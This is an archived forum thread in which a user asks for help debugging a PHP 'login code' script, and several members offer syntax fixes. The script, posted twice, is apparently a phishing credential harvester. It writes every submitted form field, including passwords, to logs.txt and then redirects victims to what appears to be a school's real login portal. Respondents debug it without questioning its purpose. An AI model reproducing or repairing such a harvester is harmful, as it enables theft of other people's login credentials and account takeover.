You are viewing our Forum Archives. To view or take place in current topics click here.
login code PHP help
Posted:

login code PHP helpPosted:

thomas779
  • V5 Launch
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
When I open it, it says there is a problem with line 3,4 and 10

<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
#2. Posted:
Sys
  • TTG Senior
Status: Offline
Joined: Dec 30, 201310Year Member
Posts: 1,331
Reputation Power: 69
Status: Offline
Joined: Dec 30, 201310Year Member
Posts: 1,331
Reputation Power: 69
It should give you a more specific error that "problem". For example "not defined" or "no such file or directory"
#3. Posted:
thomas779
  • Junior Member
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
30-Jun-2016 14:45:45 UTC] PHP Parse error:  syntax error, unexpected 'foreach' (T_FOREACH) in /home/public_html/SMS/explore.php on line 4
#4. Posted:
Sys
  • TTG Senior
Status: Offline
Joined: Dec 30, 201310Year Member
Posts: 1,331
Reputation Power: 69
Status: Offline
Joined: Dec 30, 201310Year Member
Posts: 1,331
Reputation Power: 69
space after "foreach"
#5. Posted:
thomas779
  • Junior Member
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
what do you mean?

like this

$handle = fopen("logs.txt", "a");
for each ($_POST as $variable => $value) {
   fwrite($handle, $variable);
#6. Posted:
Sys
  • 2 Million
Status: Offline
Joined: Dec 30, 201310Year Member
Posts: 1,331
Reputation Power: 69
Status: Offline
Joined: Dec 30, 201310Year Member
Posts: 1,331
Reputation Power: 69

<?php
header ('Location: http://sms.eursc.eu');
$handle = fopen("logs.txt", "a");
foreach ($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
#7. Posted:
CriticaI
  • Christmas!
Status: Offline
Joined: Nov 05, 201310Year Member
Posts: 2,743
Reputation Power: 449
Status: Offline
Joined: Nov 05, 201310Year Member
Posts: 2,743
Reputation Power: 449
Isn't exit a function?
I don't usually use exit, but I think this might be your problem.


so type
"exit();"
instead of "exit;"
#8. Posted:
thomas779
  • Junior Member
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
Status: Offline
Joined: Jan 24, 20168Year Member
Posts: 94
Reputation Power: 3
exit is not a problem, according to my Host site, its line 4 that can't be executed .
#9. Posted:
7en
  • Wise One
Status: Offline
Joined: Aug 16, 201211Year Member
Posts: 598
Reputation Power: 29
Status: Offline
Joined: Aug 16, 201211Year Member
Posts: 598
Reputation Power: 29
Sys wrote space after "foreach"


PHP is whitespace insensitive.

OP I don't see anything wrong with your code. Furthermore, I ran it on my own system without any problem.

Are you sure you have the right file?

CriticaI wrote Isn't exit a function?
I don't usually use exit, but I think this might be your problem.


so type
"exit();"
instead of "exit;"


exit is a language construct, similar to echo. It does not require parentheses.
#10. Posted:
Lucozayde
  • New Member
Status: Offline
Joined: Aug 16, 20167Year Member
Posts: 2
Reputation Power: 0
Status: Offline
Joined: Aug 16, 20167Year Member
Posts: 2
Reputation Power: 0
header('Location: ...') function's require an exit(); function prone to using the redirect, anything below this exit(); function is void (it will not be executed) unless wrapped inside an expression like so:

if(isset($x)) {
    header('Location: http://www.google.com');
    exit();
}

$myObject = new Object(); // this line will be executed since $x is not defined.


On the side, if you're creating a login system you should move away from text-driven systems and look into databases & holding an active session token.
Jump to:
You are viewing our Forum Archives. To view or take place in current topics click here.